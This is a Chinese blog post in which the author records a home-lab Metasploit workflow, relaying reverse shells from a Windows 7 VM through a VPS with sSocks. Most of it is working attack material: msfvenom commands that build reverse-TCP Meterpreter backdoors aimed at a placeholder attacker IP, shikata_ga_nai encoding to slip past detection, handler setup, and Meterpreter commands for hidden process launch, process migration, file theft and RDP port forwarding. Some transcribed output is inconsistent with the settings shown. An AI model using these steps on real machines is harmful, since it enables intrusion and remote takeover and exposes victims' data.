Hpdoger's Blog.

内网穿透进行Metasploit渗透

Word count: 2,168 / Reading time: 9 min
2018/07/09 Share

初识Metasploit

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,是一个框架,常用于内网渗透。

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。

Meterpreter中常用的Shell

reverse_tcp

这是一个基于TCP的反向shell

reverse_http

基于http方式的反向连接,在网速慢的情况下不稳定

reverse_https

基于https方式的反向连接,在网速慢的情况下不稳定。

bind_tcp

这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。

payload选择的三大要素如下:

  • 木马连接的方向
  • 目标操作系统及版本
  • 反弹的shell类型

木马连接方向:
msf木马分为正向连接与反向连接,正向连接适合攻击机能给连接目标机的情况,反向连接使用目标机能连接攻击机的情况,这里所说的连接一般是指tcp的某个端口。因此在生成木马前,需要先判断当前环境,适合正向连接木马还是反向连接的木马。(可以使用nc工具测试)

操作系统位数查看:

1
getconf LONG_BIT

常用payload

linux相关payload:

1
2
3
4
5
6
1 linux/x86/meterpreter/reverse_tcp
2 linux/x86/meterpreter/bind_tcp
3 linux/x86/shell_bind_tcp
4 linux/x86/shell_reverse_tcp
5 linux/x64/shell_reverse_tcp
6 linux/x64/shell_bind_tcp

windows相关payload:

1
2
3
4
5
6
7
8
1 windows/meterpreter/reverse_tcp
2 windows/meterpreter/bind_tcp
3 windows/shell_reverse_tcp
4 windows/shell_bind_tcp
5 windows/x64/meterpreter/reverse_tcp
6 windows/x64/meterpreter/bind_tcp
7 windows/x64/shell_reverse_tcp
8 windows/x64/shell_bind_tcp

payload具体参数含义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-p, --payload    <payload>       指定需要使用的payload(攻击荷载)
-l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: &#039;\x00\xff&#039;
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表

一个典型的msfvenom使用举例如下:

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=7777 -f exe -o /tmp/my_payload.exe

自己的看法

最近真的好忙…然后又在这里胡乱研究Metasploit,感觉后天实验班考核要凉凉…
背景:我有一台Kali的虚拟机,一台外网vps,想要渗透一台win7的虚拟机。目前还没有学到提权,只是会用msf生成反弹马,然后msf监听外网vps接收的数据。win7我虚拟机开了Nat进行转发,传上去了小马,菜刀连接上。

因为我是内网的Kali,所以要进行内网穿透:
内网穿透,即NAT穿透,网络连接时术语,计算机是局域网内时,外网与内网的计算机节点需要连接通信,有时就会出现不支持内网穿透,就是说映射端口,能让外网的电脑找到处于内网的电脑,提高下载速度。不管是内网穿透还是其他类型的网络穿透,都是网络穿透的统一方法来研究和解决。

首先我们为什么要内网穿透?因为我们的kali在内网,当木鸡(简称)执行我们msf生成的EXE木马时,它会把自己的Shell反弹出去,当然这个Shell不可能反弹到我们自己的内网。那么我们就需要有个外网的ip来监听这个Shell。当然,我们也可以用自己的外网ip来映射到kali上。但是一方面我觉得不安全,另一方面我觉得windows限制太多了,所以就利用我有的一台Centos7的VPS来当作这个跳板。时间不多了,开始记录一下目前的步骤:

获取meterpreter会话

VPS开启流量转发

在网上看到有人说用lcx作为内网端口转发的工具,但是centos7好像编译环境不允许lcx,使用不起。用Ssocks搭建隧道,监听两个端口,7777用来接收来自受害者反弹的shell,7778将7777的流量转发出。下载sSocks,执行命令编译./configure && make,进入src文件夹

1
./rcsocks -l 7777 -p 7778

生成Payload

Kali生成Payload in Linux

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Kali生成Payload in Windows

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Kali分步生成Payload

分步执行:

1
2
3
4
5
6
7
msf > use payload/windows/meterpreter/reverse_tcp  #指定payload
msf > payload(reverse_tcp) > set lhost xxxxx(外网Ip) #设置监听地址
lhost => xxxxx(外网Ip)
msf > payload(reverse_tcp) > set lport 7777(监听流量流入端口)
lport => 6666
msf > payload(reverse_tcp) > generate -b '\x00\xff' -t exe -e x86/shikata_ga_nai -i 5 -f /root/test.exe
[*] Writing 73802 bytes to /root/test.exe...

msf进行监听

回到msf主界面:

1
msf > payload(reverse_tcp) > back

运行监听模块:

1
msf > use exploit/multi/handler

设置接收的payload:

1
msf exploit(handler) > set payload windows/meterpreter/bind_tcp

设置vps监听的地址和转发的端口:

1
2
3
4
5
6
7
8
msf exploit(handler) > set rhost xxxx(外网Ip)
rhost => xxxx(外网Ip)
msf exploit(handler) > set lport 7778
lport => 7778
msf exploit(handler) > exploit
[*] Started bind handler
[*] Sending stage (957999 bytes) to xxxx(外网Ip)
[*] Starting the payload handler...

靶机运行Payload

Linux下运行elf会提示没有权限,加权限:

1
chomd +x ./shell.elf

然后再运行就可以了

Meterpreter的常用命令

基本命令

1
2
3
4
5
background  # 让meterpreter处于后台模式  
sessions -i index # 与会话进行交互,index表示第一个session
quit # 退出会话
shell # 获得控制台权限
irb # 开启ruby终端

文件系统命令

1
2
3
4
5
6
cat # 查看文件内容  
getwd # 查看当前工作目录
upload # 上传文件到目标机上
download # 下载文件到本机上
edit # 编辑文件
search # 搜索文件

网络命令

1
2
3
4
ipconfig / ifconfig # 查看网络接口信息  
portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码
route # 获取路由表信息

系统命令

1
2
3
4
5
6
7
8
ps # 查看当前活跃进程 
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
getpid # 获取当前进程的pid
kill pid # 杀死进程
getuid # 查看权限
sysinfo # 查看目标机系统信息,如机器名,操作系统等
shutdown # 关机

相关链接:
防火墙(firewalld)端口转发
利用metasploit进行提权
Metasploit简单提权
sSocks下载
Socks代理反弹突破内网

CATALOG
  1. 1. 初识Metasploit
  2. 2. Meterpreter中常用的Shell
    1. 2.1. reverse_tcp
    2. 2.2. reverse_http
    3. 2.3. reverse_https
    4. 2.4. bind_tcp
  3. 3. payload选择的三大要素如下:
  4. 4. 常用payload
  5. 5. 自己的看法
  6. 6. 获取meterpreter会话
    1. 6.1. VPS开启流量转发
  7. 7. 生成Payload
    1. 7.1. Kali生成Payload in Linux
    2. 7.2. Kali生成Payload in Windows
    3. 7.3. Kali分步生成Payload
  8. 8. msf进行监听
  9. 9. 靶机运行Payload
  10. 10. Meterpreter的常用命令
    1. 10.1. 基本命令
    2. 10.2. 文件系统命令
    3. 10.3. 网络命令
    4. 10.4. 系统命令